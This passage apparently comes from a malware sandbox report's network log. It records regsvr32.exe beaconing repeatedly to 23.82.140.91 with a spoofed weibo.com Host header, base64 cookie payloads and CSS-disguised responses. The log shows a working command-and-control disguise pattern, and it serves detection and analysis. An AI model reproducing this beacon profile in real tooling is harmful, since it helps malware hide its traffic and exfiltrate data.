1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

170 192.168.2.6 50021 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:34 UTC 1438 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:35 UTC 1440 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:35 UTC 1441 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

171 192.168.2.6 50022 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:35 UTC 1442 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:36 UTC 1443 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:36 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:36 UTC 1443 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

172 192.168.2.6 50023 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:38 UTC 1445 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:38 UTC 1447 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:38 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:38 UTC 1447 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

173 192.168.2.6 50024 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:38 UTC 1445 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:39 UTC 1449 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:39 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:39 UTC 1449 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

174 192.168.2.6 50025 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:38 UTC 1446 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:39 UTC 1450 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:39 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:39 UTC 1451 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

175 192.168.2.6 50026 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:39 UTC 1452 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:39 UTC 1453 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:39 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:39 UTC 1453 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

176 192.168.2.6 50027 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:42 UTC 1455 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:43 UTC 1456 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:43 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:43 UTC 1456 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

177 192.168.2.6 50028 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:43 UTC 1455 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:43 UTC 1458 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:43 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:43 UTC 1458 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

178 192.168.2.6 50029 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:44 UTC 1460 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:44 UTC 1460 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:44 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:44 UTC 1461 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

179 192.168.2.6 50030 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:45 UTC 1462 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:45 UTC 1463 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:45 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:45 UTC 1463 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
